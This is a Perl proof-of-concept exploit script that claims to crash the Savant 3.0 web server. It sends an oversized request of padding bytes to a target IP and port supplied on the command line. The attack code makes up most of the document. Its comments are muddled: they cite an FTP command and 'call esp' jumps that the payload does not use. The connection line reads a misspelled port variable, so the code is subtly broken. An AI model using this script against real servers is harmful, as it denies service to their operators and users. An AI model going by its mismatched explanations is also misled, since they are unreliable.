Savant 3.0 Denial Of Service

`#!/usr/bin/perl  
  
use IO::Socket;  
  
# Exploit Title: Savant 3.0 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 27 january 2024  
#https://sourceforge.net/projects/savant/files/Savant/3.0/Savant30.exe/download  
# Download to demo: https://drive.google.com/file/d/18m_wzC8EOSB8lHPc1DexpOfsDm7H8RFs/view?usp=sharing   
# Notification vendor: No reported  
# Tested Version: Savant 3.0 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The web server does not correctly handle the amount of data or bytes sent to command RNTO.  
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $sc = "\x90" x 245;  
  
my $buf = "\x41\x41" . " /" . $sc."\r\n\r\n";  
  
my $s = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $por, Proto => 'tcp') or exit;  
$s->send($buf);  
close $s;  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print q {  
  
  
_/|   
// o\   
|| ._)   
//__\   
)___(   
  
[+] Savant 3.0 - Denied of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: [email protected]  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
`